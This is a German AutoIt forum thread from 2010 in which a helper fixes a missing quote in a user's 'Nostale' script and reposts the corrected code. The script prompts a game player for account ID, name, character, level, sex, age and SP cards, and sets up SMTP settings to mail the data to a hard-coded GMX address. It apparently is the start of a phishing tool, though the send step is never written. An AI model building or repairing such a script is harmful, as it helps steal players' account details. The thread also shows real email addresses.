Wer kann mir bei den script helfen?

  • Hallo Leute!
    ich habe hier ein script aber ich weis nicht waeum es nicht geht!
    Könnt ihr mir weiter helfen?

    [autoit]

    Dim $Antwort
    $Antwort = MsgBox(52,"Nostale","Hallo Leute!!")

    [/autoit][autoit][/autoit][autoit]

    Select
    Case $Antwort = 7
    Case Else
    $var = InputBox("Nostale","Gebe Hier dein ID ein")
    $Antwort = 7
    $var = InputBox("Nostale","gebe wie du heißt )
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier dein Charakter ein")
    $Antwort = 7
    $var = InputBox("Nostale","welches level bist du?")
    $Antwort = 7
    $var = InputBox("Nostale","gebe ein welches geschlecht du bist")
    $Antwort = 7
    $var = InputBox("Nostale","gebe ein wie alt du bist")
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier deineSP Karten ein" )
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier dein Level an")
    $Antwort = 7
    MsgBox(0,"Nostale","du bist dann mein bester freund")
    #include <INet.au3>

    [/autoit][autoit][/autoit][autoit]

    $s_SmtpServer = "Mail.gmx.net"
    $s_FromName = "nostale"
    $s_FromAddress = "denizkoele@hotmail.de"
    $s_ToAddress = "nostale_hilfe@gmx.de"
    $s_Subject = "Nostale"
    Dim $as_Body[2]
    $as_Body[0] = "nostale_hilfe@gmx.de"
    $as_Body[1] = "23"

    [/autoit]

    Einmal editiert, zuletzt von idouble (24. Februar 2010 um 13:42)

  • Du hast ein " bei Linie 9 vergessen, dadurch denkt dein Compiler alles was folgt sei einfach nur Text und zwar in einer Sprache die er nicht versteht und auch nicht verstehen muss.

    Spoiler anzeigen


    Dim $Antwort
    $Antwort = MsgBox(52,"Nostale","Hallo Leute!!")

    Select
    Case $Antwort = 7
    Case Else
    $var = InputBox("Nostale","Gebe Hier dein ID ein")
    $Antwort = 7
    $var = InputBox("Nostale","gebe wie du heißt" )
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier dein Charakter ein")
    $Antwort = 7
    $var = InputBox("Nostale","welches level bist du?")
    $Antwort = 7
    $var = InputBox("Nostale","gebe ein welches geschlecht du bist")
    $Antwort = 7
    $var = InputBox("Nostale","gebe ein wie alt du bist")
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier deineSP Karten ein" )
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier dein Level an")
    $Antwort = 7
    MsgBox(0,"Nostale","du bist dann mein bester freund")
    #include <INet.au3>

    $s_SmtpServer = "Mail.gmx.net"
    $s_FromName = "nostale"
    $s_FromAddress = "denizkoele@hotmail.de"
    $s_ToAddress = "nostale_hilfe@gmx.de"
    $s_Subject = "Nostale"
    Dim $as_Body[2]
    $as_Body[0] = "nostale_hilfe@gmx.de"
    $as_Body[1] = "23"

    So sollte es gehen.

  • Sorry das ich es nochmal schick, aber hier solltest du den Unterschied durch das Highlighting sehen.

    Spoiler anzeigen
    [autoit]


    Dim $Antwort
    $Antwort = MsgBox(52,"Nostale","Hallo Leute!!")

    [/autoit] [autoit][/autoit] [autoit]

    Select
    Case $Antwort = 7
    Case Else
    $var = InputBox("Nostale","Gebe Hier dein ID ein")
    $Antwort = 7
    $var = InputBox("Nostale","gebe wie du heißt" )
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier dein Charakter ein")
    $Antwort = 7
    $var = InputBox("Nostale","welches level bist du?")
    $Antwort = 7
    $var = InputBox("Nostale","gebe ein welches geschlecht du bist")
    $Antwort = 7
    $var = InputBox("Nostale","gebe ein wie alt du bist")
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier deineSP Karten ein" )
    $Antwort = 7
    $var = InputBox("Nostale","Gebe Hier dein Level an")
    $Antwort = 7
    MsgBox(0,"Nostale","du bist dann mein bester freund")
    #include <INet.au3>

    [/autoit] [autoit][/autoit] [autoit]

    $s_SmtpServer = "Mail.gmx.net"
    $s_FromName = "nostale"
    $s_FromAddress = "denizkoele@hotmail.de"
    $s_ToAddress = "nostale_hilfe@gmx.de"
    $s_Subject = "Nostale"
    Dim $as_Body[2]
    $as_Body[0] = "nostale_hilfe@gmx.de"
    $as_Body[1] = "23"

    [/autoit]
  • danke !!